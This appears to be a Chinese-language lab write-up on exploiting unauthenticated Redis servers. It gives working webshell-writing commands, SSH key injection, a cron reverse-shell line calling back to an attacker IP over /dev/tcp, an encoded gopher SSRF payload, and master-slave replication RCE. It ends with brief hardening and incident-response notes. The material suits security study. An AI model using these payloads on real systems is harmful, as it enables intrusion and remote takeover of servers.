
继续增加实操经历!
Redis 默认情况下,会绑定在 0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。
环境搭建
影响版本 2.x,3.x,4.x,5.x
这边直接在Ubuntu上装了个redis,在这个链接下载历史版本的redis,本地编译后修改一下配置文件redis.conf
把这个保护模式从yes改成no,允许别的主机远程连接
把绑定ip这一行给注释掉,允许除本地外的主机远程登录redis服务
然后开启redis-server,这里我的版本是3.2.7
在kali这边连接,尝试ping,看到pong表示连接成功
利用未授权写入webshell
条件
- 服务器的redis存在未授权,攻击机可以直接连接登陆
- 服务器开了web服务器,攻击者知道web根目录
- 对web目录有写入权限
写入webshell思路是指定本地数据库存放目录设置为/var/www/html,指定本地数据库文件名为shell.php,于是我们就可以写入一个路径为/var/www/html/shell.php的Webshell文件
原理是我们在数据库中插入一条webshell代码数据,代码作为value,key随便,相当于把缓冲数据保存在shell.php里
1 | 192.168.64.189:6379> config set dir /var/www/html/ |
可以看到是成功的,这里注意有伤害代码要写成
1 | set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n" |
多增加了一些换行符,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
利用未授权写入ssh公钥
思路也是一样的,这次把数据库默认路径改成/root/.ssh,缓冲文件名改为authorized.keys
先生成公私钥
1 | ssh-keygen -t rsa |
在/root/.ssh下会有id_rsa.pub,读取出来写到目标路径里
1 | 192.168.64.189:6379> config set dir /root/.ssh |
记得在写入内容前后都加换行,保证格式正确
然后就登陆上被攻击机的root了
利用未授权写入定时任务
条件
除了前面所要求的,这次还多要求
- redis是root用户运行的
- 机器有定时任务功能(Linux机器大多数会有)
1 | set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.64.187/1234 0>&1\n\n" |
尝试了半天,写入语句后查看/var/spool/cron/crontabs/root,也没看到反弹shell的命令,原来这个在Ubuntu上行不通,原因是:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在
/var/spool/cron/<username>
Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>
ssrf+redis写入webshell
利用条件
- 首先有一个ssrf漏洞
- redis没有设置密码认证
- 知道网站根目录,有写入权限
主要用到gopher协议,用到的命令和之前是一样的,要用一个脚本(网上找的)生成gopher协议后面的内容
1 | import urllib.parse |
生成payload解码看到的
再编一次码,然后访问
1 | /ssrf.php?url=gopher%3A%2F%2F192%2E168%2E64%2E189%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524%5FPOST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A' |
这样就能实现和之前一样的效果,当redis不对外开放时就可以考虑利用ssrf,这算是增加了攻击面,但是也要网站本身支持这些协议
常见防护措施
很容易想
开启防护模式,设置密码安全认证,不对外开放,修改端口为不常见的,给文件夹设置严格的访问权限
基于主从复制的RCE
主从原理可以参考这篇文章
主从复制概念
为了提高可用性
- 为了避免单点Redis服务器故障,准备多台服务器,互相连通。将数据复制多个副本保存在不同的服
务器上,连接在一起,并保证数据是同步的。 - 即使有其中一台服务器宕机,其他服务器依然可以继续提供服务,实现Redis的高可用,同时实现数据冗余备份。
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower) ; 数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。
默认情况下,每台Redis服务器都是主节点 ;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
主从复制工作流程
- 主从复制过程大体可以分为3个阶段
- 建立连接阶段(即准备阶段)
- 数据同步阶段
- 命令传播阶段
攻击原理
在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载 so 文件,我们就可以执行拓展的新命令了。我们使用模拟的恶意服务端来作为主机,并模拟 fullresync 请求。
复现
准备redis4.x版本的环境
1 | wget http://download.redis.io/releases/redis-4.0.11.tar.gz |
准备这样一个环境,redis.conf文件和之前一样配置,允许远程主机连接即可
主要用到的脚本是 https://github.com/Ridter/redis-rce
然后再在这个项目 https://github.com/vulhub/redis-rogue-getshell 编译获得RedisModulesSDK/exp.so
文件
然后跑脚本就好了,成功获取运行redis的服务器shell
查看运行日志,有一些信息
192.168.65.4 是攻击机kali 192.168.65.3 是运行redis的服务器
可以看到这两个主机建立了主从关系,然后redis加载了恶意.so文件,所以成功getshell
应急角度
假设现在知道主机沦陷,不知道是什么攻击手法,使用netstat -antp
查看一下主机端口情况
可以看到本地6379端口连接着远程44810端口,有一个连接